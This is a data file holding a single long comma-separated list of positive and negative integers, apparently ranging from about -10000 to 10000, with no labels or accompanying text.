4468,-5941,5589,-5699,5429,6743,8444,-2039,-6824,-1257,-5906,8266,-3831,5392,1645,320,1572,-9595,-454,7877,-8070,-8432,-7719,-4199,6043,-5002,7800,2363,-2493,2626,3390,6243,-2734,7055,8290,5547,2828,-4021,3943,-5139,8892,1597,-7757,7532,-3109,8516,8161,-8882,-3209,6165,7309,-1325,7792,7918,-3936,7859,-7681,-4647,-6123,2293,-9438,-5270,-5978,-4520,-9347,-4569,7858,8471,910,-6564,-9980,-1603,-7042,5674,2103,-9855,-9269,5549,-4239,4236,8890,9624,1528,9666,3458,-643,-6591,-9008,-6535,-5993,-2978,-3478,-4844,3370,2072,-5256,-8584,-7659,4674,-2893,-7729,-2212,2792,-9012,5011,5325,1698,9680,894,-8603,4059,-4729,-8749,-3854,2875,-527,-9600,3236,-6607,-4491,-3488,-1586,-1579,-9039,-372,-2798,8904,1688,-1669,-83,-8200,-490,-6849,9792,90,-9453,9725,-3525,-221,5067,4441,796,5324,5284,8709,-5893,8174,970,-1067,-9517,2046,1590,-2975,9544,-7984,-7701,8644,8456,-212,77,5664,-7414,8321,7407,-756,7649,-4851,-1071,278,-5076,6462,-8670,-4849,914,-4500,5401,-7112,-4464,-7643,-3685,-5307,1749,6949,1478,-6243,9320,2516,-798,9095,5627,6327,-185,-6435,8979,6985,4570,6442,-909,3919,1880,4593,-2440,2523,7331,2662,4287,3712,4071,-2609,-9451,-6762,-5388,-1929,8572,3566,1354,1957,-147,-1628,6002,-4368,8312,-2033,-6340,-4190,-8975,6894,177,-3761,2310,3794,-8940,1444,-6522,325,-1908,-88,-3091,-7472,5990,-5134,8089,-9055,-9485,2582,-6927,5660,-3187,8264,8960,-1842,3308,-1809,-1378,2943,430,2192,364,-9458,1143,8672,4037,-7739,9640,-2534,-272,-3122,417,693,-2732,-7286,8564,-8604,850,-1055,9967,-7016,-3601,-1125,-7953,5331,2822,2729,-3483,1048,-8439,9281,2960,1539,4929,-5151,2635,-7023,-8865,-567,-3486,-6882,-1892,3741,5260,-7132,-453,6482,1433,-8227,2897,6354,686,-9429,-9521,-6943,-329,-4735,7590,-6850,8844,5423,3169,-2041,7308,7823,-7166,6927,-1738,-1644,-7447,1238,-9832,-7865,-6837,-7097,9469,-1927,-7043,6872,-2683,-5509,7301,5147,-3235,5039,-4323,6414,1104,4745,-6222,4113,-6663,-5571,7765,7034,7741,-2855,-7126,5866,-5831,2790,9748,8665,-2383,761,-690,4540,7229,-8187,10,6426,-6312,8287,-8522,-4186,2083,8592,3843,8052,-9844,8562,671,1969,4215,2178,1686,-9412,-5527,-1193,6643,-5515,-5389,3820,-7104,9546,1409,6613,1086,-3375,1192,-382,6891,-4693,-8897,763,3457,2538,-2011,-9687,5935,8929,7525,3583,-8451,792,-5564,7589,9828,-488,4846,-268,5675,-1462,8345,2868,-2189,-509,-6179,-1624,1404,8326,-5867,2224,-5598,2684,5628,5000,5586,-5596,104,-2182,-5108,-3698,5107,-8532,5697,6932,-6650,6223,1950,-7535,2515,-1153,2927,6450,-9417,-668,-2708,-5852,7896,4219,-6388,6457,8170,9459,-1415,2075,-672,7471,6784,909,3362,2855,-7060,276,2460,214,-28,3590,5360,-1444,-6224,5706,5787,-650,-9022,3981,-9607,-8154,-186,-326,-7585,758,5317,-4695,8878,3850,8796,7252,-2816,158,-6765,5338,848,-7147,7581,-7842,3101,2660,-6171,9011,-6455,567,-8751,8970,6860,9899,-1916,-379,9836,9812,5918,4767,-6087,-6304,-3743,-8908,-870,-7500,3316,655,6576,-4136,2322,8475,678,4156,-7231,4017,-2007,3045,5605,6209,3656,3533,3176,1190,9311,-6433,2446,2022,2546,-2880,-9502,-3760,5612,8343,-3062,9484,3510,-7716,4638,8716,5799,-7091,7261,4651,-2252,8911,-2245,-8361,6840,8027,-7820,-674,-5250,916,935,9579,7335,-3061,47,-1549,1268,3737,-3646,-6254,-9574,-3325,-944,-328,-7886,174,8521,2926,-984,6098,5908,-2587,3264,9396,-6622,866,9454,4568,-6283,-9395,5571,1852,4225,-2240,-4085,-1947,6282,-402,-3668,2856,-3157,-1207,-821,-9157,-9706,-3059,-7766,8096,-4785,-8032,9549,-246,2107,-9114,4969,8656,-4198,8862,4998,1333,754,-8272,8053,-5895,-6466,-8942,9123,480,-7590,-7003,7635,-2787,3306,-1426,3121,5481,-1988,6581,1961,2840,-1485,8741,-7160,-5012,5988,3385,4146,7236,-7857,-213,1522,6533,5625,-1393,-7745,2114,-6554,5327,-1923,3620,-475,7214,-6366,-647,-7150,8124,4773,1379,-2331,6569,712,5142,8172,1909,-1775,6846,4834,2139,2862,1674,124,-2143,-6352,9527,1032,-2364,7452,9555,-6917,8727,-5303,1016,9418,9009,-4900,-3717,-8094,9308,-3734,6889,-9020,-7255,9136,-6502,4754,8007,-3553,6621,-9887,7165,-5888,4871,-5054,4551,9497,-8242,-1074,9346,-6785,658,2940,-3551,-7351,4970,9875,-549,-2678,1895,-8681,8113,3513,3814,-603,-1681,-9169,-8353,8399,-3327,2397,-5185,6570,4196,-5021,4547,7128,-8991,2630,-3355,-6151,2491,-9736,-1390,-1180,-2960,-5116,3485,5002,901,-7386,8790,-1962,190,3097,-6429,2815,-8061,-3195,2311,100,-9665,-5786,-6537,-8466,3266,543,1628,-5824,1160,-5396,7511,1835,2279,-114,-5036,-8406,9729,-2730,-5432,-5807,7778,2738,-1692,2371,-1217,-6721,-9377,8162,-8638,-5375,8145,8178,-3356,6293,-4336,-7357,7368,-6077,-2523,7213,2478,-6353,1667,5499,357,-222,-6212,3039,-8204,2395,-6318,6422,6418,-8972,611,7211,-7928,-4997,7603,-375,9557,1481,-5260,-8262,-5448,1860,9245,6486,2144,6654,8272,-2350,8233,-6425,7723,777,-9881,-5674,-1631,8677,-5850,-3087,9476,9018,-9287,9939,-9243,9752,-4692,-723,-7967,-1476,-1192,9830,-9362,8883,522,-8042,-3363,7444,-3914,-244,8514,-6967,-7156,-7691,5822,9825,-8379,-8097,-8587,7845,-1247,-2819,-1971,3106,9591,8243,-3183,-1297,436,-613,-4664,3275,-1722,3780,-4515,5889,3360,-1977,7641,-9092,-9161,4922,5750,-5686,7325,7172,7188,2088,-9067,-9069,9799,3221,-6016,9128,3584,6567,2346,8128,-9925,-3000,-5769,-6021,-6952,-4603,-9296,6489,-1540,3740,-5348,7338,-1677,9075,8051,6663,4583,-1560,839,8210,202,-662,-5267,-1508,3540,3619,3932,4548,9253,9637,-5090,-5944,-8771,119,6086,-2995,752,9013,2953,-5557,-4612,6675,5041,-6322,2398,-492,-3432,-761,-3458,-5011,-7087,7520,-2209,-7542,1658,-325,-2429,-4022,74,-9715,2552,1947,225,-8295,5667,-6076,-7314,-8977,-1283,-1980,-4481,-2201,8209,-1764,4573,-7808,5180,-1777,3166,5806,7209,-8236,-6035,6856,-3128,3948,-621,-3809,-2982,1375,7797,4703,7110,-1017,59,4900,934,-922,994,6525,6501,2339,6873,-129,7594,-1638,-9183,3951,-3346,-1835,-6885,8763,-2890,4528,-7086,-7628,674,-1559,4207,8636,-4690,8623,9508,-4938,1200,-4577,9367,-477,7040,332,8406,7961,-2565,-2354,-6669,-4539,9601,-5234,228,8594,-6860,-9791,-2421,7474,5469,8668,7824,-1097,-1706,-1463,2974,5177,-3969,-8323,812,-5971,-4985,-3718,-4129,-8347,7010,5698,457,-5057,7897,8286,-2831,4228,596,-5468,3046,9273,8415,-1882,-780,-98,5602,5749,-5788,2656,-8492,-8394,6634,8417,3734,-1903,7248,-519,-5568,2545,8859,2504,6290,1660,-3557,150,-309,-6368,4431,1165,3391,2127,8031,7378,-9922,-5853,-57,542,9227,7591,7196,-2704,6468,-6914,4073,5595,-3700,7226,7182,3204,809,-7497,9755,-8970,-5477,1988,-9211,-1511,-1062,1949,-7851,219,-473,-1227,5428,2604,1151,4181,1311,-9044,-5255,-4966,9299,-544,3155,8315,9055,3539,7388,5090,8306,-3007,6095,-7401,-9692,4504,-9939,4806,8132,5079,-652,7348,-5793,3322,6382,2307,-510,8203,2055,-1829,4135,-3159,9616,-3538,3831,5726,-5795,8080,-9708,-5711,8467,-7158,6906,1900,-6248,775,6598,-4598,-223,-9909,8262,-7530,394,-6971,-24,-645,-397,-5719,8707,7291,6429,4709,5630,6768,-8663,8642,-3310,-1983,-7944,9964,-7575,8795,-2529,9653,-6987,-8961,-197,-1702,8049,-5746,-608,-9770,5676,-6696,189,-2711,6745,-3369,-3810,5868,-8277,-7952,626,-1430,-3509,3488,-8656,-5122,7075,993,9723,2289,-8083,-9210,-7122,-5401,8797,-9907,5518,6113,-6570,1889,493,-6660,2035,7579,-466,3134,8986,-3247,-1030,-5943,400,1438,7588,-4189,-6130,8621,-9468,311,-6858,-5649,1068,-8510,-7100,-584,6244,-8781,-1261,3868,-377,8246,6078,-8744,950,7323,-3103,3196,-5528,-3263,-9131,7813,-7330,5556,303,2186,9606,4572,-2262,-7085,7032,7111,-6397,4668,-9397,2294,-9493,-8364,-7706,-7709,4168,9379,4211,-8386,-6412,-4816,-3837,-3708,1652,379,3653,4975,-2142,3065,1362,6763,9619,-4068,-8965,6879,-5581,-5321,-8542,8715,-904,-7841,3130,-9837,3194,-2466,-6277,347,8861,-7018,8332,6523,3708,-2630,-3745,-5696,-2317,6392,-947,37,-4988,2217,-5816,-6229,-5365,3092,-374,4560,-9258,1085,-4122,5030,-8612,7955,-1472,2542,2048,-2391,3986,8510,9570,-1697,3161,744,857,-4502,-7194,5023,6069,1582,1197,-2651,2117,-5552,9809,292,617,9918,-7409,8469,-3420,1127,846,-7994,-3873,5550,569,1761,2378,-501,3333,-7064,2966,-8404,2040,6642,-2528,1536,-7019,-2611,-6446,-3777,-1343,8063,-1854,7798,-875,2737,6187,2475,4443,372,-3953,5058,5357,2006,3223,9884,-5638,-5775,-966,-8441,-8809,-6935,3517,-2260,-4365,2963,-8210,-7874,5998,404,159,-6661,-1760,-8357,9611,-6069,9843,-1996,-3419,2896,4042,254,-1411,8353,4971,7703,3439,-7879,-7124,-6098,-6309,975,3312,-7177,-8932,8143,-6402,6140,-128,3812,-3922,7544,-2747,4543,-7946,4193,4176,-3910,-8184,-529,1665,3842,383,8119,-5986,-4058,-6950,-4454,8346,2821,2406,5223,-2810,7416,4564,6796,-3911,-1134,-7815,2308,2667,-1759,-6319,-2434,8997,9184,6786,3279,5902,4085,-2689,1809,4643,-8294,9324,-5115,7552,-6100,3749,-9864,-4881,-1530,6733,-2408,-2570,-8179,6184,-3792,3172,2605,-4276,-1262,9231,2946,-1038,3051,-8992,9042,4555,-1091,-5511,-4948,9987,4328,2147,689,-7114,-7082,-1685,1997,5672,-7783,-869,3783,-8730,-3328,5644,4238,-7389,973,-9337,7593,-61,-7438,3953,3429,-5310,-384,-8499,7140,5780,-4109,9442,9370,-9098,-1354,9760,-2222,-7365,-575,2964,3805,9431,6412,-6362,-7685,-3578,7494,-8829,7340,-2888,8249,3650,-876,-6886,-9093,-7708,2980,-9341,-9191,-4240,5246,7820,7697,-4991,1593,7769,7339,-4232,3995,2231,-3963,-5844,-3266,-7537,-7493,-4141,6808,5384,5048,-9170,5712,-924,8423,371,-5932,5923,3558,-8380,-8230,9383,-7626,-8157,409,-4387,1903,638,2449,-6267,6561,-2976,9080,-5755,2140,-1513,-7012,-301,-6626,8127,3644,-2226,-3151,7515,6926,5803,-2346,5235,-5416,-8194,-1258,-9723,7521,4001,4158,-8830,-3602,-9762,-6728,-3460,-4585,3278,3528,621,4316,2121,-8943,7664,4326,6716,1925,9981,6658,939,-5806,4744,2971,-4994,-8645,-5026,-7876,-4137,-2476,463,-6472,3676,1750,9678,3414,6044,2937,7049,-7295,-322,-8639,5993,8303,-5897,-1830,6684,9822,-1466,8518,-4062,557,-8867,4663,-1584,-1148,-2157,-2138,-7017,3290,-6476,2285,-9104,-7333,-8247,7838,-8815,-5612,-1952,4331,5911,-3493,8748,87,-7224,3436,-6140,9195,8717,-3560,395,5517,8956,-8540,-8784,-6533,5372,-6974,-4770,-8530,-5980,1215,-319,-3237,-3679,-8757,6907,-9319,7646,7753,8483,4779,7630,6143,-5210,-1899,-920,-5636,3523,5887,-8329,-2223,168,-541,8045,331,-2224,-6062,9800,123,-8041,-7053,9739,5662,-7434,-9713,-6354,-7941,-8928,-5412,-6944,5368,9213,456,9863,2921,8126,-7577,-1385,3673,5833,7349,-1263,-8085,81,-5414,9662,-461,-1609,-9500,7982,-5424,-1324,1229,895,-2003,-3054,7386,-7655,-2292,7286,-4195,2063,-9065,-5834,-2322,-2020,4259,118,-2987,-4907,-8372,-6555,9575,6456,6992,-1346,-6756,-3633,-8192,3349,-8758,5409,6619,-6578,-5170,3784,-8605,-933,8196,-9666,3058,-2193,131,9127,4549,-524,692,-5006,-6337,-1907,8186,-9240,-7603,231,-1214,-5990,1619,8990,-5504,9257,6339,5651,2765,-5723,1099,-9962,-6964,-9825,-8649,1131,1247,9201,-8514,662,-240,-9572,-1006,-6047,-8906,-8976,-8408,-4843,5445,8740,-8717,5587,-6741,3476,-2936,-2005,-5475,-7268,-2618,7270,7312,-7674,-9299,5419,8314,5772,2188,4368,-512,8565,5091,6198,-1982,-1445,-6491,9669,-8155,-8661,9456,8891,8134,-8607,5014,7054,-1837,8164,9463,-5201,-959,-6962,5156,2930,-1282,888,-3387,1335,9309,2512,8493,-4622,-7853,4814,3531,8816,4692,8385,3606,-7321,-8249,-2413,-6551,-1647,1744,5430,8112,-3441,9155,4664,787,4994,-7664,5411,-1604,-2788,2319,4461,1766,-2064,-4243,-9691,-9610,4901,4397,-4250,-787,-1179,7067,-3126,-8022,-4749,-9780,3171,-2511,-1817,-588,-5224,-2161,4337,-3695,1565,-4449,-9168,4661,-3505,-1825,3372,-198,-1403,6379,3667,-85,-7070,4601,1845,-2606,-6276,-6958,8428,4976,-1744,6892,-6385,6548,-8108,5297,-9224,467,7031,-8966,-2573,5523,783,-2162,-8296,6910,8307,-6930,-183,-3729,-7909,7516,-3296,-8950,-4807,9322,-5617,779,-3869,-5510,-340,2292,-5204,-1610,-2359,-9815,1691,-8817,2245,3164,3578,1960,7127,6895,-6078,-4678,-9298,8526,-8820,-8269,-7576,-8541,9522,-702,-8834,8173,4755,-7349,-3732,-4061,2038,-1879,-5639,2021,9741,9711,-526,844,-1592,6289,-9483,-9126,8556,1096,454,-4015,-2550,-5343,-5220,1269,-6233,6097,-6145,8278,-8723,-2095,6061,2042,1673,-3046,-6975,-8714,-2042,9315,9984,-3111,-3890,-3515,-1986,2230,9280,-7402,-3880,-2375,-949,911,503,-9122,2471,-194,7965,-7347,-6856,9980,-3096,2983,4104,1493,8916,-7468,-4545,-7666,-8168,-8708,-5901,-9714,-7831,6850,3293,-7252,3790,7691,-2825,6820,-2097,2151,4198,-1490,3222,4303,7887,-9840,280,-12,-7341,-2628,-4873,-9140,-7329,-1312,-7077,8374,1511,7322,7373,365,9022,-5813,-5322,5921,-8493,-5611,-2328,-34,9534,-1844,-9437,-2784,2798,-5717,-6540,-7927,-1220,7711,1476,268,6294,-6934,7932,8207,-5772,-9957,-1001,-8129,1517,1063,-3030,3626,-7624,-2463,2845,9879,-248,-7164,-3250,4434,2298,7695,9359,6445,-2766,-9441,-3322,9998,-9977,-2922,-3529,7345,8215,3148,-1608,-5809,795,9892,-9781,-4665,6817,1448,5127,-6119,-2687,-6173,2854,1896,-5632,5087,-4052,-6907,-5798,4953,-4924,4957,5720,6841,6296,-7922,9241,-3744,6013,-3674,3571,-3038,-9901,3927,8276,-6983,-5883,-3637,-8899,8496,-1953,-4317,-1553,4954,-4898,-6284,-1109,-9603,-9766,-1483,1728,6224,-2100,-4926,2453,2728,1235,7756,-6444,-2140,-9313,4608,-3129,5540,4530,6027,7867,6276,3419,6962,-7738,6189,-6330,8805,-8566,-8096,6333,9267,7069,7489,-1473,-2749,3434,-1869,7720,7076,3160,6474,8962,7423,21,-6678,9731,-436,-8844,-6580,5880,-7644,6671,-9026,-4829,-2388,-3349,4791,-6453,-4038,6556,9203,-9002,-8465,-7992,-1083,9142,8129,-4278,650,-5521,1956,7367,-754,-8377,9703,2562,3669,-1819,1227,374,-6288,-8775,-9725,-3031,7634,-7799,-1452,-5828,-1170,-3084,-2552,9482,808,2548,-9318,-6176,9990,-227,2607,5074,6352,-2122,-5556,8271,-1249,5379,3675,4365,2031,-4530,3497,-6767,9318,-8672,-5214,-8231,-1917,-431,-9575,-3357,1042,-5148,3250,-5781,-8764,-3106,-514,6477,-997,-2244,9975,2194,-4688,-8739,-7762,3703,-9688,440,-705,3728,6883,-1820,-1743,7839,-4517,8563,-8072,1352,-1597,5407,-8497,860,1892,1719,1680,582,-9336,-8024,-7267,4117,-9448,-4416,-9213,6868,438,7583,-2659,4306,-5567,-1397,-9045,-2243,-7384,-3035,1869,-1418,5196,-5117,-2091,-8063,-5015,-7319,-4566,9205,7480,2047,-6565,3681,1965,7174,3568,1168,5788,784,-799,8375,2586,-1161,-6574,-6729,2160,-7968,2760,-8147,2287,-8254,-1858,-3400,7785,2517,9564,3139,-220,-8029,-1039,490,1366,-9557,-6492,-423,6316,-1450,-2203,-5202,7459,3761,-4140,6700,5310,-7550,5795,-3881,-5641,-4728,-8457,-2633,-6995,2606,-2907,-5492,-8881,7969,-3564,-8300,-2156,-5513,-3808,-3778,7674,2438,1579,3277,-7481,-8005,-695,-1475,-3057,940,-5312,-231,7411,-7981,-5826,833,-7571,8746,-1137,3330,4233,9790,-4602,-5340,4131,2901,-8223,5525,-9217,6779,-8031,649,468,7280,-6336,-3783,8087,4591,-5726,3262,1049,-9295,-1316,4185,-8795,8537,7297,-3202,-1748,-9896,-5440,-9037,-6879,63,2676,-1285,5112,-9611,-5593,-6282,-4261,-5623,2213,7501,-2036,2769,2284,8297,-5480,6647,9451,-2954,-1211,5386,5861,-5324,-1799,3200,-7180,676,7125,-5138,-7544,-2535,5086,-4361,-8250,-4600,-1741,653,-776,-1406,-3692,6995,-3912,-8026,-8310,3610,1768,-2499,-8862,-1918,5470,8843,4290,-4905,-5679,-4382,4995,8200,-9958,3376,9659,8899,6836,-169,1211,510,-4651,8524,-4856,3128,6221,-6853,-7291,-9923,-6844,-5582,-317,9026,9658,-2225,-4156,-2930,4617,-8356,-6432,-8348,2098,9567,-3850,3725,9872,8732,8913,-2519,-5591,-2653,-2988,8734,9485,7180,2734,821,6218,-2553,9141,-4626,9380,64,6541,773,-401,2993,1553,-4426,-6227,3339,-4327,6310,6597,-7038,-7092,-8092,9938,-1213,8570,9982,7095,2076,-3666,1714,-3917,1292,-3222,117,-4700,-3827,-5225,6495,-235,1088,-7903,6089,2621,8591,-5280,-3438,-576,2326,5534,4723,-2864,4770,-8471,-9633,5696,-1320,9930,-774,5592,2039,-4718,2247,-9433,7491,-6841,1813,-6148,-7348,8048,2809,6120,2064,-459,1170,6216,-6605,-4579,-1616,1976,7642,7899,-5800,517,1178,1107,6893,4730,-2084,-4853,-7832,4294,8821,667,9585,4333,6110,3880,53,-2177,5957,-8728,-8142,-5940,7698,5568,-6158,4242,3847,2163,483,-8207,7022,-3579,-8345,-3639,4655,-4214,-7359,-8660,5621,5247,9707,-6727,2508,4025,-593,-5039,-664,-5988,-9335,5541,4866,413,6262,-9116,2396,-6552,-7690,2712,1052,5876,-5934,-5281,7449,1782,-9859,5007,-8107,-2024,4097,7808,-3840,1133,1730,-5644,8055,-6717,-1783,3723,-6806,76,-6803,-2860,7651,3002,-5862,4038,6704,6436,-5398,3807,2732,7754,-1291,-4971,-5814,6723,-5872,-1317,-1893,-8343,-6065,4473,-5028,-5450,7073,5878,8015,-7658,7276,-2500,8344,-6238,5232,8815,9061,1632,8776,-2830,32,-5146,-5538,-9924,-5141,1890,-4059,-3457,6401,9029,3707,-4447,7237,-6489,3396,-9306,-8260,-170,-5291,-7382,-983,-6045,5670,19,-796,279,9927,-1815,5565,-6657,-7473,-3407,-3211,602,5683,-888,6099,1854,-9264,-9856,-8482,3162,1003,-727,7508,7179,-7009,6746,-918,3346,508,-7533,-8139,-3123,2273,-9219,-2586,-4847,6096,2575,-8556,6217,-6372,-211,9441,2110,-6127,555,4024,-9971,660,5404,8638,6853,1196,8460,-9654,-3471,6231,-3723,-805,-1998,-4439,7099,-4242,-6513,-6757,-4604,-5318,-9218,-6195,7675,3086,521,3553,3260,969,748,-1158,-6418,-7629,7364,8982,-8292,9959,2272,2354,3661,-6135,-1855,-2508,-7232,699,8109,-6738,5694,-9208,351,4986,-1806,-682,-1607,-6668,-5602,7433,3649,6694,-7212,-5248,-7463,9851,3354,1275,-9312,682,2624,-9260,7783,9448,-2353,3977,-1360,-3475,387,8762,-4506,8413,8044,-7579,8390,1272,9944,6287,-8766,-894,4697,-2185,3199,-1340,-9838,-698,-1505,-6464,69,-55,9917,-2933,7687,3091,1228,9735,2429,8014,496,8793,9202,-6600,-3465,-4026,-9477,-5145,-4066,7131,-4931,8382,4805,-5779,5053,-2186,-9032,-304,8130,2731,7894,5999,-4947,4301,-660,2681,-5368,1060,9869,-2479,2276,-4605,-9905,6810,-4536,4261,-8349,7048,2950,-7179,-2974,5236,6203,8520,-586,-6447,-3843,8368,7829,2028,-5425,-1847,-9592,2939,-980,-4845,-445,5725,6172,-7284,-8506,6444,992,-1089,-998,3498,-8106,-7205,2691,1072,6227,-7265,-3725,3552,-1033,-6835,-7129,1287,-8490,-8565,1818,2369,-3583,-4087,4762,-4698,2842,4615,-5756,-4954,3502,-2382,-8196,-3962,-2829,-9407,-7523,4941,-1028,6953,-2195,2275,-1874,-4400,-9645,1435,2996,-6931,6046,-3640,-6897,-9886,-4501,-546,-10000,-9464,7217,8764,3348,1055,-4220,1083,6607,2489,6824,7432,520,4072,4783,-5994,7541,-3245,4014,9919,-7022,-2259,7425,6929,4589,6458,9548,606,-6515,-8438,5646,-7618,8180,-1287,-8633,-9563,8720,8849,1828,2527,9599,4815,-842,-2213,2052,8302,8085,-3907,-718,-3887,5666,-2417,6377,865,-6488,9264,8876,2400,3679,9551,-7648,-2915,6794,-6821,-4834,-9515,-3516,-2401,6653,-6940,877,7688,-6209,2425,-1654,-9984,4270,287,9820,-5357,-9352,-4399,5217,-4070,3453,6214,9803,-3951,-4425,8120,5017,8420,7465,3193,-4179,3777,-4120,-53,-3212,7228,-6196,4339,5835,5854,-9613,8071,3577,-6713,-618,1469,8005,-4928,-886,5946,-8071,-1891,7949,6987,-9525,7260,-1314,-7026,5388,1822,-3278,6440,5948,946,-8062,5904,3383,-3556,6720,-9027,108,-2700,-7229,-9200,4126,-9944,7910,1121,1495,9841,7036,-3815,-9854,4133,2412,-4000,2934,-6864,2212,9479,-4311,7514,-3339,-3418,-8198,-287,-1040,1239,1201,3546,-1504,5412,5158,-6111,2486,-4132,-9091,6400,5596,-4309,-4475,-9828,-4118,-6592,-234,9164,-2656,-878,-3029,-6320,-3544,-447,9819,-4020,7113,216,-5298,7886,6271,5611,486,-4792,1681,-8402,-6193,-9774,6728,3563,7846,8704,2669,-2629,7655,-3900,-4060,7356,7529,-6032,-9554,6356,6627,9706,1089,944,1938,7333,-6039,-5203,4166,-1564,-1139,9754,-1008,-2682,-3660,-4478,-725,-3352,498,8261,4904,1781,-4724,-8956,410,4689,-2088,852,-4653,-1294,2266,112,1934,-1896,7274,-9835,-8211,-8304,-3421,5313,9443,-8444,1774,4137,-8238,7640,4512,-1344,1545,-1223,5545,-9389,-3348,4300,-115,7230,-3520,3796,-6160,4352,4804,5345,-4373,-1437,-8263,-9484,-4817,244,9215,-8088,4312,938,-7548,4330,9753,7759,7973,-3812,6166,-6393,8335,6332,9435,4706,-8373,-4175,3881,6473,8874,8725,2444,5099,603,9523,-3231,-9290,5747,1207,-1750,8527,-5381,3586,5585,4271,6713,-1481,7463,-6949,7170,-448,8711,3366,-5554,4529,-1281,-6236,1344,-752,8857,2498,8604,1265,-7185,-2272,-943,-8720,6111,-3050,4442,8778,-9411,2418,-3039,-8622,6403,562,1046,907,-5411,-5342,9801,1270,6711,2232,-2755,-7257,1232,-713,-2555,-1571,-3127,9902,-1515,5679,-1448,-4636,6222,-8677,6149,-1489,-391,-7640,1625,-9372,7502,-550,6522,-5458,1373,9643,-5190,3208,1775,7904,-3570,-4046,7008,3637,-334,-2590,5853,2633,-5215,513,4091,-2991,1703,4292,-7378,-5685,756,-3870,6492,-9865,5884,4074,-8874,5054,-7303,-8291,8686,-4863,-5103,-8132,7947,5135,2206,7562,2779,4267,-1123,-9937,8657,8125,4807,-8902,5395,-5951,-7991,-7260,-9166,-3539,2819,6572,-5500,-2736,-4803,-7079,-4172,-2919,1803,-4472,870,3017,4817,9517,-5166,-7399,8901,6896,-9843,-1210,-4826,9916,5361,1039,5989,6031,-4192,1203,1798,-486,-2536,1689,6037,-3482,-3779,9060,1685,-3015,-3304,4388,-848,-9353,4253,-9254,7012,9785,-9792,9374,-7261,5356,-6490,-9562,-738,-337,2070,-4067,6034,9787,285,2533,3792,-6817,-1451,2747,7908,-6758,-3621,-1769,2180,-3449,-2372,6205,4859,-3858,-40,6188,9260,-9450,-8226,-1231,-9110,-714,-1233,-8887,8121,5078,9909,-7318,-2968,-2101,9480,1915,-8140,-7905,-41,2539,-1482,1350,-5042,-3536,-5955,-6604,4087,2989,8150,3364,6035,-5136,-3082,3352,-5653,7663,6150,-5622,2388,-3593,9855,514,-3021,7685,-589,-2712,425,-8368,-8255,1592,-9084,-2697,3773,8840,-4894,8544,9146,-3467,8641,-8112,8508,1071,9017,-2851,-438,4728,4913,-8855,-7562,-8079,-2484,-2543,-2515,-4233,3287,-126,4769,1011,-242,-3047,-8175,6029,9596,-8431,-2238,-9141,2567,-1979,-4782,4230,8873,6494,9440,-8006,-1781,-273,8922,-10,-4343,-6998,-8256,9033,-3789,-4043,8961,6197,-3905,-6026,-522,2358,-2913,4286,-430,-407,8193,5982,7281,-7309,-8424,-2799,-1678,-2175,-8754,5045,-3474,-2509,5151,4400,8092,3838,-7568,8914,7119,-4204,-1821,5439,-6598,-7607,-1460,-7226,7202,8628,-3343,1858,-9527,-9134,-5525,-3093,-1527,1523,5773,-2703,-4780,-6629,-6461,-8365,-1839,6138,-5056,-7995,1315,-7718,-626,-6335,-2073,2906,-9356,3994,20,-5892,6263,-2266,-3667,-8658,8685,-1244,-5437,-7436,726,4250,6092,2125,-8481,-3747,7350,2679,-2447,7485,3769,-7157,-3170,6257,7017,-8773,-4184,-7790,-5701,-1113,-7336,-1138,1293,4296,-91,85,5022,-4955,3554,7862,-9908,7644,9084,-3294,6999,488,2244,-7465,-120,-7934,-1037,-4494,-3271,-8535,-5086,209,-5805,9782,4586,2675,-2219,986,5171,1526,-8117,1210,-2636,-9846,-9608,6137,-4607,-4911,-9490,7540,-7208,716,1254,-256,-4629,5,-7670,-7006,6554,6624,-6399,-6937,6724,9047,7755,-3384,6935,6415,-295,8410,1414,8850,-4625,-9338,-7221,-2821,1905,-855,-941,4874,1817,5342,4163,-493,8419,735,2,-5979,4563,5199,2577,-2296,5594,-3506,-3275,3387,-2812,-3190,4842,-9683,-6876,-5489,-6831,-7695,3076,-5245,-9963,3205,-4082,-5878,1324,3242,-4154,1763,-437,5507,-3956,2651,-2002,-1795,4220,8581,-5583,9086,-2745,3495,-189,7109,-7371,-8704,1741,7616,-4158,-5578,8000,-3567,4951,5566,-6439,-1912,627,-2675,-4929,2816,2437,-386,6384,-8903,-4538,-3606,6258,5748,709,4006,-7835,-4358,-6379,-1687,6135,4515,1380,-4404,307,-285,-8990,-7986,2892,2494,-4445,-5506,-9196,2383,8311,-5018,-8901,-3468,2629,874,6082,-9734,5422,-6177,6969,-2706,-905,-3675,7285,3491,-3341,-6867,-7776,9503,6744,-7356,8252,6365,-735,4830,9618,6318,-4758,4775,4044,1819,-5038,-6900,8248,3961,7561,9945,-8539,-9053,5163,-884,7848,-5186,-7525,4877,-1832,-9128,-3611,5716,7537,4454,-4422,-9878,-5104,3344,4585,-6871,7970,-2867,-9631,-579,-7948,-7035,-6526,-7549,-4731,-4163,-5796,-97,7385,-7460,-925,-7538,18,7781,-6875,9067,3350,668,5070,8965,9204,-6108,5337,9710,5218,-4764,1369,-180,157,-3261,-843,2881,-6371,570,3832,6948,-6861,-3604,7183,-5271,-4031,-611,-4958,5115,188,5433,3273,6251,6943,5446,-6114,-3257,-6265,-6810,-5000,-4493,-2496,-7071,-5923,4855,9865,-5402,-9373,1309,-8436,-6972,1117,79,-4448,-5354,5109,-9729,1057,9207,9074,-7036,-1878,2614,1559,-4723,-4969,-2667,2641,2173,3471,1401,6028,-7366,8459,1471,-4968,8227,8998,1919,8525,7600,-2758,8907,4432,6635,-4799,-3417,6574,5869,4619,3224,-2861,-1814,5166,-2649,2694,9627,6376,-254,-8635,565,-9403,-1909,6311,691,3450,-9488,9996,7962,-9249,-5908,8749,580,1457,-6473,9953,-4648,-3173,4656,295,5842,3664,-3401,-651,-7912,960,8837,3952,-1679,3570,7943,-7678,-7557,-9101,-5916,-8648,1494,-9021,2899,-8640,-6201,5105,2595,6410,-1027,-1358,-7822,7558,9062,-3487,-4836,-9743,197,-9284,-7891,-8568,5380,-7774,9661,8289,8403,-3706,-6992,-49,1756,5903,1241,-7646,8583,-5428,-4352,6334,-433,9791,-8525,2061,-4359,1182,267,-6274,8593,-7355,5321,-9795,-2709,-7567,1327,-3635,-7088,-2452,1191,5500,7994,-7307,7868,-6750,-806,-903,851,-2993,8050,9175,7043,8945,-4550,1221,2784,9473,-3188,-3648,9983,-3946,1490,-763,-4993,3393,4802,-4135,-455,4852,3945,2050,5040,-7663,-8043,8871,7764,3426,8767,-9588,-5445,8430,7436,2949,6156,-2997,-7118,-9108,-558,-1784,-344,9048,-250,6983,-4917,6809,3340,5619,7084,-661,-6627,-7495,4380,-4548,6751,245,-1742,-4570,-3169,-3119,2818,2850